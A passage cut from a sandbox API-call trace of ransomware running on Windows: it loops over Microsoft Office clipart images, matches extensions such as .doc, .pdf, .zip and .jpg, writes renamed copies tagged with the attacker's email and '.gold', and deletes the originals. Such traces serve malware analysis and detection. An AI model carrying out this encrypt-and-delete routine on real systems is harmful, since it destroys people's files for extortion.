Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.050] lstrlenW (lpString=".dbf") returned 4 [0109.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.050] lstrlenW (lpString=".1cd") returned 4 [0109.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.050] lstrlenW (lpString=".jpg") returned 4 [0109.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.050] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.050] lstrlenW (lpString="J0145212.JPG") returned 12 [0109.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.056] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=61633) returned 1 [0109.056] CloseHandle (hObject=0x364) returned 1 [0109.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 0x20 [0109.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.100] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.100] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.100] GetLastError () returned 0x0 [0109.100] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xf0c1, lpOverlapped=0x0) returned 1 [0109.113] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf0d0, lpOverlapped=0x0) returned 1 [0109.114] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.115] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.115] SetEndOfFile (hFile=0x194) returned 1 [0109.115] CloseHandle (hObject=0x194) returned 1 [0109.115] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.115] SetEndOfFile (hFile=0x180) returned 1 [0109.117] CloseHandle (hObject=0x180) returned 1 [0109.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0109.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.118] lstrlenW (lpString=".doc") returned 4 [0109.118] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.118] lstrlenW (lpString=".docx") returned 5 [0109.118] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0109.118] lstrlenW (lpString=".pdf") returned 4 [0109.118] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.118] lstrlenW (lpString=".xls") returned 4 [0109.118] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.118] lstrlenW (lpString=".xlsx") returned 5 [0109.118] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0109.118] lstrlenW (lpString=".ppt") returned 4 [0109.118] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString=".zip") returned 4 [0109.119] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.119] lstrlenW (lpString=".rar") returned 4 [0109.119] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.119] lstrlenW (lpString=".bz2") returned 4 [0109.119] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.119] lstrlenW (lpString=".7z") returned 3 [0109.119] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString=".dbf") returned 4 [0109.119] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString=".1cd") returned 4 [0109.119] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString=".jpg") returned 4 [0109.119] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString=".doc") returned 4 [0109.119] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.119] lstrlenW (lpString=".docx") returned 5 [0109.119] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0109.119] lstrlenW (lpString=".pdf") returned 4 [0109.119] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.119] lstrlenW (lpString=".xls") returned 4 [0109.119] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.119] lstrlenW (lpString=".xlsx") returned 5 [0109.119] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0109.119] lstrlenW (lpString=".ppt") returned 4 [0109.119] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString=".zip") returned 4 [0109.119] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.119] lstrlenW (lpString=".rar") returned 4 [0109.119] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.119] lstrlenW (lpString=".bz2") returned 4 [0109.119] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.119] lstrlenW (lpString=".7z") returned 3 [0109.119] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString=".dbf") returned 4 [0109.119] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString=".1cd") returned 4 [0109.119] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0109.119] lstrlenW (lpString=".jpg") returned 4 [0109.119] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.119] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.119] lstrlenW (lpString="J0145810.JPG") returned 12 [0109.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.143] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=36792) returned 1 [0109.143] CloseHandle (hObject=0x180) returned 1 [0109.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 0x20 [0109.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.162] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.162] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.163] GetLastError () returned 0x0 [0109.163] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x8fb8, lpOverlapped=0x0) returned 1 [0109.165] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x8fc0, lpOverlapped=0x0) returned 1 [0109.166] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.166] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.166] SetEndOfFile (hFile=0x194) returned 1 [0109.166] CloseHandle (hObject=0x194) returned 1 [0109.166] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.166] SetEndOfFile (hFile=0x180) returned 1 [0109.169] CloseHandle (hObject=0x180) returned 1 [0109.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0109.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.170] lstrlenW (lpString=".doc") returned 4 [0109.170] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.170] lstrlenW (lpString=".docx") returned 5 [0109.170] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0109.170] lstrlenW (lpString=".pdf") returned 4 [0109.170] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString=".xls") returned 4 [0109.170] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString=".xlsx") returned 5 [0109.170] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0109.170] lstrlenW (lpString=".ppt") returned 4 [0109.170] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.170] lstrlenW (lpString=".zip") returned 4 [0109.170] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString=".rar") returned 4 [0109.170] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString=".bz2") returned 4 [0109.170] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.170] lstrlenW (lpString=".7z") returned 3 [0109.170] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.170] lstrlenW (lpString=".dbf") returned 4 [0109.170] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.170] lstrlenW (lpString=".1cd") returned 4 [0109.170] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.170] lstrlenW (lpString=".jpg") returned 4 [0109.170] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.170] lstrlenW (lpString=".doc") returned 4 [0109.170] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.170] lstrlenW (lpString=".docx") returned 5 [0109.170] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0109.170] lstrlenW (lpString=".pdf") returned 4 [0109.170] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString=".xls") returned 4 [0109.170] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString=".xlsx") returned 5 [0109.170] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0109.170] lstrlenW (lpString=".ppt") returned 4 [0109.170] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.170] lstrlenW (lpString=".zip") returned 4 [0109.170] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString=".rar") returned 4 [0109.170] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.170] lstrlenW (lpString=".bz2") returned 4 [0109.171] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.171] lstrlenW (lpString=".7z") returned 3 [0109.171] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.171] lstrlenW (lpString=".dbf") returned 4 [0109.171] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.171] lstrlenW (lpString=".1cd") returned 4 [0109.171] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0109.171] lstrlenW (lpString=".jpg") returned 4 [0109.171] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.171] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.171] lstrlenW (lpString="J0148309.JPG") returned 12 [0109.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.171] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=43674) returned 1 [0109.171] CloseHandle (hObject=0x180) returned 1 [0109.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 0x20 [0109.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.172] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.172] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.173] GetLastError () returned 0x0 [0109.173] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xaa9a, lpOverlapped=0x0) returned 1 [0109.175] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xaaa0, lpOverlapped=0x0) returned 1 [0109.176] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.176] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.176] SetEndOfFile (hFile=0x194) returned 1 [0109.176] CloseHandle (hObject=0x194) returned 1 [0109.176] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.176] SetEndOfFile (hFile=0x180) returned 1 [0109.178] CloseHandle (hObject=0x180) returned 1 [0109.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0109.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.367] lstrlenW (lpString=".doc") returned 4 [0109.367] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.367] lstrlenW (lpString=".docx") returned 5 [0109.367] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0109.367] lstrlenW (lpString=".pdf") returned 4 [0109.367] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.367] lstrlenW (lpString=".xls") returned 4 [0109.367] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.367] lstrlenW (lpString=".xlsx") returned 5 [0109.367] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0109.367] lstrlenW (lpString=".ppt") returned 4 [0109.367] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.367] lstrlenW (lpString=".zip") returned 4 [0109.367] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.367] lstrlenW (lpString=".rar") returned 4 [0109.367] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.367] lstrlenW (lpString=".bz2") returned 4 [0109.367] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.367] lstrlenW (lpString=".7z") returned 3 [0109.367] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.367] lstrlenW (lpString=".dbf") returned 4 [0109.367] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.367] lstrlenW (lpString=".1cd") returned 4 [0109.367] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.367] lstrlenW (lpString=".jpg") returned 4 [0109.367] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.367] lstrlenW (lpString=".doc") returned 4 [0109.367] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.367] lstrlenW (lpString=".docx") returned 5 [0109.367] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0109.367] lstrlenW (lpString=".pdf") returned 4 [0109.367] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.367] lstrlenW (lpString=".xls") returned 4 [0109.367] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.368] lstrlenW (lpString=".xlsx") returned 5 [0109.368] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0109.368] lstrlenW (lpString=".ppt") returned 4 [0109.368] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.368] lstrlenW (lpString=".zip") returned 4 [0109.368] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.368] lstrlenW (lpString=".rar") returned 4 [0109.368] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.368] lstrlenW (lpString=".bz2") returned 4 [0109.368] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.368] lstrlenW (lpString=".7z") returned 3 [0109.368] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.368] lstrlenW (lpString=".dbf") returned 4 [0109.368] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.368] lstrlenW (lpString=".1cd") returned 4 [0109.368] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0109.368] lstrlenW (lpString=".jpg") returned 4 [0109.368] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.368] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.368] lstrlenW (lpString="J0149118.JPG") returned 12 [0109.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 